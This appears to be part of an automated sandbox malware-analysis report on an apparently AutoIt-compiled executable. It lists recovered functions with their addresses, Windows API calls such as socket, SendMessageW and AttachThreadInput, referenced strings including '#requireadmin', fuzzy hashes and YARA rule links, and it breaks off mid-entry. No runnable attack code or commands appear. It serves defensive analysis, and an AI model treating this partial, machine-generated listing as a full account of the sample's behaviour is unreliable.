Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 6d41c4170b686c1445dbb74b8006363d2166bd75feaba5365b8dbff28fa46a62
Instruction ID: 01d07fd56c4c855e406ac54b17ea0b7dda074e6c108f779f177393d44a0b061f
Opcode Fuzzy Hash: 6d41c4170b686c1445dbb74b8006363d2166bd75feaba5365b8dbff28fa46a62
Instruction Fuzzy Hash: E841B2312053019FDB20DF25D885B1ABFE4EF85B10F10869DF9A5972D2D770EA04DB66

Function 00B74416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00B7CC08,00000000,?,?,?,?), ref: 00B744AA
GetWindowLongW.USER32 ref: 00B744C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00B744D7

Strings

SysTreeView32, xrefs: 00B7447C

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 5cef010d5251620490be1364df01574b3b0d0cd1ae2f0b8c81b0ba7996fabfe0
Instruction ID: 2b48a154f396a3ecf109d8f52357ab4ce6d001436a4f4f973786e7a69d76d3e8
Opcode Fuzzy Hash: 5cef010d5251620490be1364df01574b3b0d0cd1ae2f0b8c81b0ba7996fabfe0
Instruction Fuzzy Hash: EB318F31210205AFDB218E78DC85BEA7BE9EB18335F208759F979932E0DB70EC509750

Function 00B6304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00B63077,?,?), ref: 00B63378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00B6307A
_wcslen.LIBCMT ref: 00B6309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00B63106

Strings

255.255.255.255, xrefs: 00B63095, 00B6309A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: eeb3251d17aeb2428d01f1ddae79d9ba4e2a11db2ec23823599f6b6d9025b42f
Instruction ID: 7788b0ded2af8fd2453a8a600eccf6508a8ea266aa7f47f14c0b646758599cb9
Opcode Fuzzy Hash: eeb3251d17aeb2428d01f1ddae79d9ba4e2a11db2ec23823599f6b6d9025b42f
Instruction Fuzzy Hash: 4F31D5356042019FC710CF28C585F6A77E0EF15718F2480D9E9159B392DB3ADE85C761

Function 00B73EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00B73F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00B73F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B73F78

Strings

SysMonthCal32, xrefs: 00B73F0B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: cc5f6fba1278218b61c05b27481a48299e7e0bf2d5c037953732f8c5bc21c742
Instruction ID: 2efaab841374d006da0316308f4046bec270b4af962ea80a8b28e8792b39bb09
Opcode Fuzzy Hash: cc5f6fba1278218b61c05b27481a48299e7e0bf2d5c037953732f8c5bc21c742
Instruction Fuzzy Hash: 1121BF32600219BFDF118F50CC86FEA3BB9EB48754F114258FA296B1D0DAB1E9509B90

Function 00B74653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00B74705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00B74713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00B7471A

Strings

msctls_updown32, xrefs: 00B74684

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 69ef11dc7d79d409f03177ce83cfb228b349685e016146168c3ca00b1825b4d1
Instruction ID: 9b463e36d937a88fad650a6a21ed71e8a384c301f0e006e87fd2bca8a4ad864b
Opcode Fuzzy Hash: 69ef11dc7d79d409f03177ce83cfb228b349685e016146168c3ca00b1825b4d1
Instruction Fuzzy Hash: 2A2190B5600208AFDB10DF68DCD1DA737EDEB9B394B004589FA149B251CB70EC11CA60

Function 00B495AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B4961D

Strings

#OnAutoItStartRegister, xrefs: 00B495F3
#notrayicon, xrefs: 00B495B7
#requireadmin, xrefs: 00B495D9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: b1e4678aaa38b1873ed222f8763ec16ed49f3747b504813850ae53da51efb26a
Instruction ID: 1824887fa47544715dac72a4dfb733f8160ccd588369aeb39dcd5f90acdcf063
Opcode Fuzzy Hash: b1e4678aaa38b1873ed222f8763ec16ed49f3747b504813850ae53da51efb26a
Instruction Fuzzy Hash: EB218C7220421166C731BB29EC42FBB73D8DFA1320F1080AAF95997181EB61EF81E3D5

Function 00B737B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00B73840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00B73850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00B73876

Strings

Listbox, xrefs: 00B7380F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 0d037ee5c695e812a03225660be4e71ab6ac472709f7b8f739a77de0cb6ccc9c
Instruction ID: e91e90b82abe79aaef38444bc89f97755ed71968d3bf6d192e7cf7c2b2e9ea68
Opcode Fuzzy Hash: 0d037ee5c695e812a03225660be4e71ab6ac472709f7b8f739a77de0cb6ccc9c
Instruction Fuzzy Hash: C321B072600118BBEB118F54CC85EAB37EEEF89B50F10C158F9199B190CA72DC5297A0

Function 00B549F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B54A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00B54A5C
SetErrorMode.KERNEL32(00000000,?,?,00B7CC08), ref: 00B54AD0

Strings

%lu, xrefs: 00B54A6F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 4f9e6e1bf2c8fe45f8205c11a84effde9f409c9fcbfc888563dded0d672e788e
Instruction ID: 3028eccbb338ce6f2ac1b5d6c3a67c4ccb06ea9fad3266c9014ef70d9d60ff72
Opcode Fuzzy Hash: 4f9e6e1bf2c8fe45f8205c11a84effde9f409c9fcbfc888563dded0d672e788e
Instruction Fuzzy Hash: 04314475600209AFD750DF54C985EAE7BF8EF44308F1440A9F909DB262D771ED85CB61

Function 00B741EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00B7424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00B74264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00B74271

Strings

msctls_trackbar32, xrefs: 00B74226

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 5e85be540a8885f3fa47da66b4efbf738ca4f72c1981d925646819264d21ce92
Instruction ID: 9f051902e3a1b23085201efcd67bc852b8437fca82126855c2b1be96d0c1d7b4
Opcode Fuzzy Hash: 5e85be540a8885f3fa47da66b4efbf738ca4f72c1981d925646819264d21ce92
Instruction Fuzzy Hash: F311E331250248BEEF205E29CC46FAB3BECEF95B54F114518FA69E60A0D771DC619B10

Function 00B42F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

Part of subcall function 00B42DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B42DC5
Part of subcall function 00B42DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B42DD6
Part of subcall function 00B42DA7: GetCurrentThreadId.KERNEL32 ref: 00B42DDD
Part of subcall function 00B42DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B42DE4

GetFocus.USER32 ref: 00B42F78

Part of subcall function 00B42DEE: GetParent.USER32(00000000), ref: 00B42DF9

GetClassNameW.USER32(?,?,00000100), ref: 00B42FC3
EnumChildWindows.USER32(?,00B4303B), ref: 00B42FEB

Strings

%s%d, xrefs: 00B42FFF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 4fc38ae7dc85d858bf3e4dfef521fcef09751242dd35bde89ae21ef3515a7208
Instruction ID: 268882cf9850515eadcccc739c58d9e3e0eb192c8f9bf235012ceecf9901a682
Opcode Fuzzy Hash: 4fc38ae7dc85d858bf3e4dfef521fcef09751242dd35bde89ae21ef3515a7208
Instruction Fuzzy Hash: E711B4716002056BDF157F748CC5FED3BEAEF94714F0440B9F9099B252DE309A45AB60

Function 00B75882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00B758C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00B758EE
DrawMenuBar.USER32(?), ref: 00B758FD

Strings

0, xrefs: 00B7588F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: f3b2bf3f251f6fd20b5982e3ec8c4213307687989402ea4b41bc1255d6bc25da
Instruction ID: d7b4ab7d462a17e2602708284b412b39bb03f2a4234acdfaa6d5e475fef87e93
Opcode Fuzzy Hash: f3b2bf3f251f6fd20b5982e3ec8c4213307687989402ea4b41bc1255d6bc25da
Instruction Fuzzy Hash: C4015731500218EEDB219F51DC85BAEBBB4FF45360F10C0A9F95DDA261DB718A84EF21

Function 00B4007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8a5cf3d81f95aa6ce544622fe6c99d49a2d62165e5135c43cc415a750b66cbb
Instruction ID: 07c9d9c6fb762dc9e02defda7d04259043b71010e8e2ecb196612d7f8faf8217
Opcode Fuzzy Hash: f8a5cf3d81f95aa6ce544622fe6c99d49a2d62165e5135c43cc415a750b66cbb
Instruction Fuzzy Hash: 4EC15C75A10206EFDB14DFA4C894AAEBBF5FF48304F108598E605EB251D771EE41EB90

Function 00B13E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B13F0B
__alldvrm.LIBCMT ref: 00B1410C
__alldvrm.LIBCMT ref: 00B1412E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 49f936b1fa7e36ed7e97cfb2b41e08b22eefb150983003117666353eb4f7bd8b
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: D6A10572E00386AFDB258F18C8917EABFE5EF65350FA841EDE5959B281D33489C2C750

Function 00B6342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00B63459
CoUninitialize.OLE32 ref: 00B63463
VariantInit.OLEAUT32(?), ref: 00B6346E
VariantClear.OLEAUT32(?), ref: 00B6371B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 3ebc6cf15e712e82b866349b4b57f2e8da714c76dc3e5ab4a2ea975ef135adde
Instruction ID: bd812438b622b7003792743a7f5f707f5884c073d41e4e1761a8ffbeb582fb30
Opcode Fuzzy Hash: 3ebc6cf15e712e82b866349b4b57f2e8da714c76dc3e5ab4a2ea975ef135adde
Instruction Fuzzy Hash: CAA139756087009FC710DF29C585A2AB7E5FF88714F04889DF98A9B362DB34EE45CB91

Function 00B40436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00B7FC08,?), ref: 00B405F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00B7FC08,?), ref: 00B40608
CLSIDFromProgID.OLE32(?,?,00000000,00B7CC40,000000FF,?,00000000,00000800,00000000,?,00B7FC08,?), ref: 00B4062D
_memcmp.LIBVCRUNTIME ref: 00B4064E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: b64e88e7f5adf1ece7278a9bb219150188fb9c72c070441fb0cb65978f4493d5
Instruction ID: 1a2ca95315ffff72f8bfe5afb986b3e602992ab7a9c0c88dbec4e91b64c71936
Opcode Fuzzy Hash: b64e88e7f5adf1ece7278a9bb219150188fb9c72c070441fb0cb65978f4493d5
Instruction Fuzzy Hash: 0E812B71A10109EFCB04DF94C984EEEB7F9FF89315F204598E606AB250DB71AE06DB60

Function 00B21391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B214C0

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1d6809e6ba740e2ed16ac7b87d7c7438fc0e47595bb58128e557e9591881c7da
Instruction ID: e0115014386f3cc263097d4f19a0e0901c1c2e4256679e6857153ba3df889705
Opcode Fuzzy Hash: 1d6809e6ba740e2ed16ac7b87d7c7438fc0e47595bb58128e557e9591881c7da
Instruction Fuzzy Hash: 60413B31A00521ABDB317BBDBC856BE3EE4EF61370F144AE5F42DD63D1E63448815A61

Function 00B76278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B762E2
ScreenToClient.USER32(?,?), ref: 00B76315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00B76382

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 41c4275c7df3af2a476161df987ed5be4f3520cdb26a6cbce65063160e2c2518
Instruction ID: e76a45ee37f0f6f9ea7147d3c992ac2b174a2fb0ad9b21f2f8b2d7f5fea97f94
Opcode Fuzzy Hash: 41c4275c7df3af2a476161df987ed5be4f3520cdb26a6cbce65063160e2c2518
Instruction Fuzzy Hash: 14512C74A00649AFDB14DF68D8809AE7BF5EB45360F118699F8699B290DB30ED81CB50

Function 00B61AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00B61AFD
WSAGetLastError.WSOCK32 ref: 00B61B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00B61B8A
WSAGetLastError.WSOCK32 ref: 00B61B94

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 06dd918bcbd8bd215a3a54fce0ae2af56e11145a60a74eb0a93cce46c78e1197
Instruction ID: 6064810c873c647f7325962ccfbf212cc0b4111f7c18cf91c07040556171818f
Opcode Fuzzy Hash: 06dd918bcbd8bd215a3a54fce0ae2af56e11145a60a74eb0a93cce46c78e1197
Instruction Fuzzy Hash: E94170746002006FE720AF25C986F3977E5EB44718F58849CFA1A9F2D3D776DD428B91

Function 00B1B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

